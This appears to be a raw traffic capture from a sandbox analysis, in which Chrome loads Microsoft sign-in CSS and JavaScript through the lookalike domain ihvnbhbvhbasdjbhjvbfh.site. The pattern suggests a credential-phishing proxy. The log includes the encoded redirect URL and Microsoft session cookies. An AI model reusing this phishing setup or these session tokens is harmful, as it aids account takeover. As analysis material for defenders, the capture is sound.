2024-05-07 18:31:44 UTC	2268	OUT	GET /favicon.ico HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; fpc=Aj100Kv7Eg9CvjGb74BZzv8; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8DVO5JEAlIBf1bEL79vRWgj5g8g0xL0BOYUVc8qCC-DH2Ns4vn-TbExgmXr7FjOq8FGIRA0BWlQLNCDmMP1MMbh3MIIlvzGMP1DkEpylUGgcFoimhg6YGTXAwfKIjIEO-LXnny-ojEG00ryXdYJdlgVv5uLutPJUGeMC1Bi5mKNkgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-05-07 18:31:44 UTC	1176	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: a96ce8a6-ce25-4e83-8c08-870d2f793100 x-ms-ests-server: 2.1.17968.10 - NEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Date: Tue, 07 May 2024 18:31:44 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49799	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:45 UTC	2753	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:46 UTC	781	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 18:31:46 GMT Content-Type: text/css Content-Length: 20314 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 27 Dec 2023 18:18:12 GMT ETag: 0x8DC07082FBB8D2B x-ms-request-id: 37c9cc2b-d01e-001b-35b4-9d70ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240507T183146Z-1675f555588gx5t82dn4brkavg0000000570000000000hfu x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-05-07 18:31:46 UTC	15603	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEY gy0(-oe\|_I?<{!xW_^pE'Y< ]6( .D*Y: ve?!\|t]+a
2024-05-07 18:31:46 UTC	4711	IN	Data Raw: e7 bc b1 e2 92 61 7d df b0 68 ac ab 2c aa b1 88 da cb c6 22 89 f4 a2 b1 42 53 1e da 58 e7 55 1e b5 fb a5 96 31 c6 85 9c 5c 95 58 0f 77 34 04 a7 bc ef e9 bc 62 55 e4 cb 9d 46 11 60 f2 34 8a 20 ba 0a e1 1d 2d b3 ba 41 d4 6a 33 50 25 58 6c a8 15 02 68 eb 56 83 ba b5 a0 21 5d f4 aa e1 60 30 5e 26 13 b7 4f 5a e3 0c 32 50 fb 10 40 6b 9f fc 5a d9 82 86 f5 c9 a7 ad bc 4f 0f 53 c6 3e 8f 75 ef 81 fb bb e5 60 13 bf d0 d1 86 c0 d4 70 43 60 72 bc 81 ca 0c ee 7b ca cd 06 61 90 56 01 34 34 b4 0d 0f 13 81 b8 e1 dc 70 52 d0 d3 64 f3 b6 df 8a 2c 1c d2 a7 e1 c5 ec 1c b9 2b 18 00 b1 42 22 26 de 7d 9d 59 8d 1f 8e 83 89 00 6e 65 8f 64 aa a2 fc c3 d8 65 70 5f b6 f7 9c 65 7e ea 83 9d 2c f7 31 10 e4 08 df ce 47 c4 df 33 f4 3c 40 c9 2e 2b 17 af 8a ce 37 c9 36 db ed 73 c6 5e f7 a6 Data Ascii: a}h,"BSXU1\Xw4bUF`4 -Aj3P%XlhV!]`0^&OZ2P@kZOS>u`pC`r{aV44 pRd,+B"&}Ynedep_e~,1G3<@.+76s^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49801	5.230.47.86	443	2484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 18:31:45 UTC	2730	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_IDwaQXicOTFiRVOQGoK9bQ2.js HTTP/1.1 Host: ihvnbhbvhbasdjbhjvbfh.site Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ihvnbhbvhbasdjbhjvbfh.site/?olgv469ez=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9OGY0ZTQxM2UtNTUwZS0zYTg5LWMyNDgtYjZhNGE4MWQ5MzJmJnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODUwNzAzNTAwMzU3NTMwNi4xYjY4ZDk2Yy03MDUxLTQzZTgtYmYxNi1lYWVhOTY0ODFhM2Emc3RhdGU9RGNzN0VvQXdDQURSUk1mallHQUlueHlIYUd3dHZiNFViN3V0cFpROWJhbGlwcGl5Q3hxeVlESmgxSk9tLWozMEFrTWg2THdjNWtNS0sxWU03VTdCVWZNOTJ2dEYtd0U=&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=lAILIerd6VqP; qPdM.sig=O46um2QxnGuXzggkOskPiGcNVHQ; ClientId=DF04B7FBE22043F481683EC6A771F9AA; OIDC=1; OpenIdConnect.nonce.v3.DI1SVfhGUguk5nB_e0p3SkgAd7j0hdVFtHpjlusPksI=638507035003575306.1b68d96c-7051-43e8-bf16-eaea96481a3a; X-OWA-RedirectHistory=ArLym14BCtz578Nu3Ag; esctx-CuqbrDa23Ew=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87h5dDXAY2EEdlPiId2-XkwCMOeNSQLF21NNlaEdYSd8V5QfbZSnPn73uRGLkqk1V-wN8I6k-kGrNH2TQmofbO7_mX0qJ1Q-uFy_TkGdkGkvbEaZBwV4WWPCU-86X929liQD379OExDP-gaxQesAobiAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.AQwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd86DtB_YYAj5THQZsbosw9EbKFFWs6kQPJsrULt2hi_JDQYrTloCiP80_n-bjkI__ziGJykQI9ANN9wEzfW7NjyPcd9LFENBo59M_rzJ2a86YgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd84FzUbGZrkHzt9rffoHtKZ1gf7CXkAvl2-3cP3Z4X20A8TT--ueflnyHi8Ga2WzRaAVoXC28VHYeXw5B-3INPDMVxnvhuRmlDsv1yeM9y2Ww3TW9Fl7Gt5iLgQhl397YIsKMZVDWan72m21I3u4EjDFcddDfqwByzZHVwy0W9nOcgAA; esctx-xfYD5kxVEwA=AQABCQE [TRUNCATED]
2024-05-07 18:31:46 UTC	139	IN	HTTP/1.1 200 OK Content-Length: 689017 Content-Type: application/x-javascript Date: Tue, 07 May 2024 18:31:45 GMT Connection: close
2024-05-07 18:31:46 UTC	16245	IN	Data Raw: 0a 21 28 66 75 6e 63 74 69 6f 6e 20 28 65 29 20 7b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 6e 28 6e 29 20 7b 0a 20 20 20 20 66 6f 72 20 28 76 61 72 20 74 2c 20 69 2c 20 6f 20 3d 20 6e 5b 30 5d 2c 20 72 20 3d 20 6e 5b 31 5d 2c 20 73 20 3d 20 30 2c 20 63 20 3d 20 5b 5d 3b 20 73 20 3c 20 6f 2e 6c 65 6e 67 74 68 3b 20 73 2b 2b 29 0a 20 20 20 20 20 20 28 69 20 3d 20 6f 5b 73 5d 29 2c 0a 20 20 20 20 20 20 20 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 20 69 29 20 26 26 20 61 5b 69 5d 20 26 26 20 63 2e 70 75 73 68 28 61 5b 69 5d 5b 30 5d 29 2c 0a 20 20 20 20 20 20 20 20 28 61 5b 69 5d 20 3d 20 30 29 3b 0a 20 20 20 20 66 6f 72 20 28 74 20 69 6e 20 72 29 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f Data Ascii: !(function (e) { function n(n) { for (var t, i, o = n[0], r = n[1], s = 0, c = []; s < o.length; s++) (i = o[s]), Object.prototype.hasOwnProperty.call(a, i) && a[i] && c.push(a[i][0]), (a[i] = 0); for (t in r) Object.proto
2024-05-07 18:31:46 UTC	16384	IN	Data Raw: 6f 63 6b 65 64 3a 20 31 30 30 2c 0a 20 20 20 20 20 20 20 20 54 69 6c 65 73 3a 20 31 30 32 2c 0a 20 20 20 20 20 20 20 20 52 65 6d 6f 74 65 43 6f 6e 6e 65 63 74 3a 20 31 30 33 2c 0a 20 20 20 20 20 20 20 20 46 65 64 43 6f 6e 66 6c 69 63 74 3a 20 31 30 35 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 3a 20 31 30 36 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 4c 6f 67 69 6e 5f 50 68 6f 6e 65 53 69 67 6e 69 6e 3a 20 31 30 37 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 46 69 6e 69 73 68 3a 20 31 30 38 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 53 74 72 6f 6e 67 41 75 74 68 3a 20 31 30 39 2c 0a 20 20 20 20 20 20 20 20 57 69 6e 31 30 48 6f 73 74 5f 48 49 50 5f 4c 6f 67 69 6e 3a 20 31 31 Data Ascii: ocked: 100, Tiles: 102, RemoteConnect: 103, FedConflict: 105, Win10Host_Login: 106, Win10Host_Login_PhoneSignin: 107, Win10Host_Finish: 108, Win10Host_StrongAuth: 109, Win10Host_HIP_Login: 11
2024-05-07 18:31:46 UTC	16384	IN	Data Raw: 20 28 50 52 4f 4f 46 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 54 79 70 65 3a 20 7b 0a 20 20 20 20 20 20 20 20 20 20 45 6d 61 69 6c 3a 20 31 2c 0a 20 20 20 20 20 20 20 20 20 20 41 6c 74 45 6d 61 69 6c 3a 20 32 2c 0a 20 20 20 20 20 20 20 20 20 20 53 4d 53 3a 20 33 2c 0a 20 20 20 20 20 20 20 20 20 20 44 65 76 69 63 65 49 64 3a 20 34 2c 0a 20 20 20 20 20 20 20 20 20 20 43 53 53 3a 20 35 2c 0a 20 20 20 20 20 20 20 20 20 20 53 51 53 41 3a 20 36 2c 0a 20 20 20 20 20 20 20 20 20 20 43 65 72 74 69 66 69 63 61 74 65 3a 20 37 2c 0a 20 20 20 20 20 20 20 20 20 20 48 49 50 3a 20 38 2c 0a 20 20 20 20 20 20 20 20 20 20 42 69 72 74 68 64 61 79 3a 20 39 2c 0a 20 20 20 20 20 20 20 20 20 20 54 4f 54 50 41 75 74 68 65 6e 74 69 63 61 74 6f 72 3a 20 31 30 2c 0a 20 20 20 20 20 20 Data Ascii: (PROOF = { Type: { Email: 1, AltEmail: 2, SMS: 3, DeviceId: 4, CSS: 5, SQSA: 6, Certificate: 7, HIP: 8, Birthday: 9, TOTPAuthenticator: 10,
2024-05-07 18:31:46 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 6e 20 7c 7c 20 22 22 20 3d 3d 3d 20 6e 20 7c 7c 20 28 6e 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 50 2e 70 61 72 73 65 28 6e 29 3b 0a 20 20 20 20 20 20 20 20 20 20 74 2e 71 75 65 72 79 20 3d 20 74 2e 71 75 65 72 79 20 7c 7c 20 7b 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 69 20 3d 20 73 2e 66 69 6e 64 4f 77 6e 50 72 6f 70 65 72 74 79 28 74 2e 71 75 65 72 79 2c 20 65 2c 20 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 20 3f 20 74 2e 71 75 65 72 79 5b 69 5d 20 3a 20 22 22 3b 0a 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 61 70 70 65 6e 64 4f 72 52 65 70 6c 61 63 65 46 72 6f 6d 43 Data Ascii: n \|\| "" === n \|\| (n = document.location.search); var t = P.parse(n); t.query = t.query \|\| {}; var i = s.findOwnProperty(t.query, e, !0); return i ? t.query[i] : ""; }, appendOrReplaceFromC
2024-05-07 18:31:46 UTC	16384	IN	Data Raw: 5d 2f 67 2c 0a 20 20 20 20 20 20 20 20 20 20 67 61 70 2c 0a 20 20 20 20 20 20 20 20 20 20 69 6e 64 65 6e 74 2c 0a 20 20 20 20 20 20 20 20 20 20 6d 65 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 62 22 3a 20 22 5c 5c 62 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 74 22 3a 20 22 5c 5c 74 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 6e 22 3a 20 22 5c 5c 6e 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 66 22 3a 20 22 5c 5c 66 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 72 22 3a 20 22 5c 5c 72 22 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 27 22 27 3a 20 27 5c 5c 22 27 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 5c 22 3a 20 22 5c 5c 5c 5c 22 2c 0a 20 20 20 20 20 20 20 20 20 20 7d 2c 0a 20 20 20 20 20 20 20 20 20 20 Data Ascii: ]/g, gap, indent, meta = { "\b": "\\b", "\t": "\\t", "\n": "\\n", "\f": "\\f", "\r": "\\r", '"': '\\"', "\\": "\\\\", },
2024-05-07 18:31:47 UTC	16384	IN	Data Raw: 20 20 20 20 76 61 72 20 6d 20 3d 20 66 2e 61 64 64 28 64 2c 20 63 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 70 2e 74 61 72 67 65 74 55 72 6c 20 3d 20 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 61 2e 48 61 6e 64 6c 65 72 2e 63 61 6c 6c 28 6e 2c 20 70 29 2c 20 6e 2e 73 65 6e 64 52 65 71 75 65 73 74 28 29 3b 0a 20 20 20 20 20 20 20 20 7d 29 2c 0a 20 20 20 20 20 20 20 20 28 6e 2e 42 65 61 63 6f 6e 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 74 2c 20 69 2c 20 61 2c 20 6f 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 72 20 3d 20 5b 5d 2c 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 20 3d 20 76 28 21 30 29 3b 0a 20 20 20 20 20 20 20 20 20 20 70 2e 66 6f 72 45 61 63 68 28 Data Ascii: var m = f.add(d, c); p.targetUrl = m; } } a.Handler.call(n, p), n.sendRequest(); }), (n.Beacon = function (e, t, i, a, o) { var r = [], s = v(!0); p.forEach(
2024-05-07 18:31:47 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 6e 20 3f 20 28 6c 20 3d 3d 3d 20 70 2e 46 54 45 72 72 6f 72 20 3f 20 68 28 65 2c 20 64 29 20 3a 20 76 28 65 2c 20 64 29 29 20 3a 20 62 28 65 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 6b 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 67 20 3d 20 22 22 29 2c 20 28 6c 20 3d 20 70 2e 45 72 72 6f 72 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 54 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 28 6c 20 3d 20 70 2e 54 69 6d 65 6f 75 74 29 2c 20 28 75 20 3d 20 22 22 29 2c 20 28 66 20 3d 20 22 22 29 2c 20 28 67 20 3d 20 22 22 29 2c 20 76 28 64 29 3b 0a 20 20 20 20 Data Ascii: n ? (l === p.FTError ? h(e, d) : v(e, d)) : b(e); } function k() { (g = ""), (l = p.Error), (u = ""), (f = ""), v(d); } function T() { (l = p.Timeout), (u = ""), (f = ""), (g = ""), v(d);
2024-05-07 18:31:47 UTC	16384	IN	Data Raw: 3d 20 6e 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 74 20 3d 20 7b 20 63 72 65 64 54 79 70 65 3a 20 6d 2e 4f 6e 65 54 69 6d 65 43 6f 64 65 2c 20 70 72 6f 6f 66 3a 20 65 20 7d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 77 69 74 63 68 20 28 28 28 74 2e 70 72 6f 6f 66 2e 69 73 45 6e 63 72 79 70 74 65 64 20 3d 20 21 30 29 2c 20 65 2e 74 79 70 65 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 53 4d 53 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 73 65 20 50 52 4f 4f 46 2e 54 79 70 65 2e 56 6f 69 63 65 3a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 2e 69 73 56 6f 69 63 65 4f 6e 6c 79 29 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: = n) { var t = { credType: m.OneTimeCode, proof: e }; switch (((t.proof.isEncrypted = !0), e.type)) { case PROOF.Type.SMS: case PROOF.Type.Voice: if (!e.isVoiceOnly) {
